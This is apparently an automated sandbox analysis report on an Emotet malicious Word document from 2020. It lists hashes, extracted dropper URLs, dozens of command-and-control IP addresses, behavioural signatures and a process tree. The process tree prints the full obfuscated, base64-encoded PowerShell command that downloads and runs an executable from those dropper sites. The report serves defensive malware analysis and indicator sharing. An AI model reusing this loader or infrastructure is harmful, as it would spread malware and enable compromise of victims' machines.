Analysis
- max time kernel
135s - max time network
150s - platform
windows10_x64 - resource
win10v200722 - submitted
13/08/2020, 15:43
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e3_833a67e43e7b5968aea280e048b4843f1e281df8cb340880717374386dc534ec_2020-08-13__154145._doc.doc
Resource
win7
General
- Target emotet_e3_833a67e43e7b5968aea280e048b4843f1e281df8cb340880717374386dc534ec_2020-08-13__154145._doc.doc
- Size 231KB
- Sample200813-jvxe7tyd9j
- SHA256 833a67e43e7b5968aea280e048b4843f1e281df8cb340880717374386dc534ec
- MD5 c5cc60581dbbab572067cb5955960692
- SHA1 c23add642319c44984d0673d706ba28edd649300
- SHA512 b3e021a4647b21060d9b87edc8791b06b5ae326612b6e11837c7a0c824f2e1c335fb9a315ce6030ff270011d4b141a329f4dc613951d3f47dbf031fb5886de2c
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
http://gregemmerth.com/stats/rBZp0wy31512967/
-
exe.dropper
http://paralink.com.br/faatads/19zPjcmw7r318182393/
-
exe.dropper
http://riandutra.com/img/yiZS/
-
exe.dropper
https://mrveggy.com/erros/Busgh63a1960/
-
exe.dropper
http://mycyberhealth.online/yyczief/wlW/
Extracted
-
emotet
-
176.216.226.44:80
-
159.203.232.29:8080
-
185.86.148.68:443
-
87.106.231.60:8080
-
113.161.148.81:80
-
78.189.60.109:443
-
192.163.221.191:8080
-
31.146.61.34:80
-
37.70.131.107:80
-
153.220.182.49:80
-
177.144.130.105:443
-
181.167.35.84:80
-
202.5.47.71:80
-
192.241.220.183:8080
-
78.188.170.128:80
-
182.176.95.147:80
-
87.252.100.28:80
-
115.78.11.155:80
-
212.156.133.218:80
-
203.153.216.178:7080
-
77.74.78.80:443
-
216.75.37.196:8080
-
195.201.56.70:8080
-
115.165.3.213:80
-
217.199.160.224:8080
-
105.213.67.88:80
-
190.55.233.156:80
-
91.83.93.103:443
-
181.164.110.7:80
-
51.38.201.19:7080
-
50.116.78.109:8080
-
178.33.167.120:8080
-
176.9.93.82:7080
-
192.210.217.94:8080
-
113.160.180.109:80
-
75.139.38.211:80
-
157.7.164.178:8081
-
190.164.75.175:80
-
182.187.139.200:8080
-
172.96.190.154:8080
-
37.46.129.215:8080
-
201.235.10.215:80
-
188.166.25.84:8080
-
181.113.229.139:443
-
139.99.157.213:8080
-
5.79.70.250:8080
-
190.190.15.20:80
-
212.112.113.235:80
-
143.95.101.72:8080
-
81.17.93.134:80
-
172.105.78.244:8080
-
46.105.131.68:8080
-
105.209.235.113:8080
-
92.24.51.238:80
-
163.172.107.70:8080
-
187.64.128.197:80
-
188.251.213.180:443
-
81.214.253.80:443
-
181.134.9.162:80
-
185.208.226.142:8080
-
46.32.229.152:8080
-
188.0.135.237:80
-
41.185.29.128:8080
-
179.5.118.12:80
-
177.37.81.212:443
-
107.161.30.122:8080
-
198.57.203.63:8080
-
114.173.201.110:80
-
97.104.107.190:80
-
139.59.12.63:8080
-
185.142.236.163:443
-
203.153.216.182:7080
-
75.127.14.170:8080
-
74.208.173.91:8080
-
115.79.195.246:80
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2368 1508 powersheLL.exe 67 - Emotet Payload 2 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/3968-13-0x0000000002310000-0x000000000231C000-memory.dmp emotet behavioral2/memory/3968-13-0x0000000002310000-0x000000000231C000-memory.dmp emotet - Blacklisted process makes network request 1 IoCs
flow pid Process 12 2368 powersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 3968 Wmzy.exe 1908 rastapi.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\MuiUnattend\rastapi.exe Wmzy.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 1012 WINWORD.EXE 1012 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 2368 powersheLL.exe 2368 powersheLL.exe 2368 powersheLL.exe 1908 rastapi.exe 1908 rastapi.exe 1908 rastapi.exe 1908 rastapi.exe 1908 rastapi.exe 1908 rastapi.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2368 powersheLL.exe - Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 1012 WINWORD.EXE 1012 WINWORD.EXE 1012 WINWORD.EXE 1012 WINWORD.EXE 1012 WINWORD.EXE 1012 WINWORD.EXE 1012 WINWORD.EXE 1012 WINWORD.EXE 1012 WINWORD.EXE 3968 Wmzy.exe 3968 Wmzy.exe 1908 rastapi.exe 1908 rastapi.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2368 wrote to memory of 3968 2368 powersheLL.exe 74 PID 2368 wrote to memory of 3968 2368 powersheLL.exe 74 PID 2368 wrote to memory of 3968 2368 powersheLL.exe 74 PID 3968 wrote to memory of 1908 3968 Wmzy.exe 75 PID 3968 wrote to memory of 1908 3968 Wmzy.exe 75 PID 3968 wrote to memory of 1908 3968 Wmzy.exe 75
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_833a67e43e7b5968aea280e048b4843f1e281df8cb340880717374386dc534ec_2020-08-13__154145._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1012
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABBAE4AVwBUAFMAZQB2AGoAPQAnAEsASgBCAFkATwBvAGoAaQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYwB1AHIAaQB0AGAAeQBwAGAAUgBgAE8AdABvAEMATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAWABTAEIATABYAGUAdwBjACAAPQAgACcAVwBtAHoAeQAnADsAJABQAFoASgBRAFMAawBmAHEAPQAnAEkARgBOAFQAVwB1AGgAdAAnADsAJABBAEwAWgBLAEgAbABvAGkAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABYAFMAQgBMAFgAZQB3AGMAKwAnAC4AZQB4AGUAJwA7ACQAUABYAE8ARQBaAHkAegBkAD0AJwBDAFAASQBKAEQAegBjAHkAJwA7ACQATwBKAEoASgBZAGEAaQBoAD0ALgAoACcAbgBlAHcALQBvAGIAagBlACcAKwAnAGMAJwArACcAdAAnACkAIABOAEUAVAAuAHcAZQBiAEMAbABpAGUATgBUADsAJABLAEcASwBFAEgAagBvAGwAPQAnAGgAdAB0AHAAOgAvAC8AZwByAGUAZwBlAG0AbQBlAHIAdABoAC4AYwBvAG0ALwBzAHQAYQB0AHMALwByAEIAWgBwADAAdwB5ADMAMQA1ADEAMgA5ADYANwAvACoAaAB0AHQAcAA6AC8ALwBwAGEAcgBhAGwAaQBuAGsALgBjAG8AbQAuAGIAcgAvAGYAYQBhAHQAYQBkAHMALwAxADkAegBQAGoAYwBtAHcANwByADMAMQA4ADEAOAAyADMAOQAzAC8AKgBoAHQAdABwADoALwAvAHIAaQBhAG4AZAB1AHQAcgBhAC4AYwBvAG0ALwBpAG0AZwAvAHkAaQBaAFMALwAqAGgAdAB0AHAAcwA6AC8ALwBtAHIAdgBlAGcAZwB5AC4AYwBvAG0ALwBlAHIAcgBvAHMALwBCAHUAcwBnAGgANgAzAGEAMQA5ADYAMAAvACoAaAB0AHQAcAA6AC8ALwBtAHkAYwB5AGIAZQByAGgAZQBhAGwAdABoAC4AbwBuAGwAaQBuAGUALwB5AHkAYwB6AGkAZQBmAC8AdwBsAFcALwAnAC4AIgBTAGAAUABsAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEoAQgBMAEsARQBoAGoAYQA9ACcASwBWAFIATwBBAGQAcwBrACcAOwBmAG8AcgBlAGEAYwBoACgAJABRAE8ARwBGAEkAbAB1AGoAIABpAG4AIAAkAEsARwBLAEUASABqAG8AbAApAHsAdAByAHkAewAkAE8ASgBKAEoAWQBhAGkAaAAuACIAZABvAGAAVwBuAGAATABvAGEARABmAGkAYABMAGUAIgAoACQAUQBPAEcARgBJAGwAdQBqACwAIAAkAEEATABaAEsASABsAG8AaQApADsAJABLAEsAQQBMAFIAbwB4AGMAPQAnAFMAWQBDAE4AUgB5AHgAeQAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEEATABaAEsASABsAG8AaQApAC4AIgBMAEUAYABOAEcAYABUAGgAIgAgAC0AZwBlACAAMwAzADMANAAxACkAIAB7ACYAKAAnAEkAbgB2AG8AawBlAC0ASQB0ACcAKwAnAGUAJwArACcAbQAnACkAKAAkAEEATABaAEsASABsAG8AaQApADsAJABFAFQASABWAFkAYwBvAGkAPQAnAE4ATwBGAFIAUwB5AHMAbgAnADsAYgByAGUAYQBrADsAJABZAEoAWABOAEIAZgBxAGMAPQAnAFgARQBUAFEAQwBsAGoAZwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABEAFAAQwBJAEQAZwBiAHAAPQAnAE0ARwBKAFAAWgBsAGEAegAnAA==1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2368 -
C:\Users\Admin\AppData\Local\Temp\Wmzy.exe"C:\Users\Admin\AppData\Local\Temp\Wmzy.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3968 -
C:\Windows\SysWOW64\MuiUnattend\rastapi.exe"C:\Windows\SysWOW64\MuiUnattend\rastapi.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:1908
-
-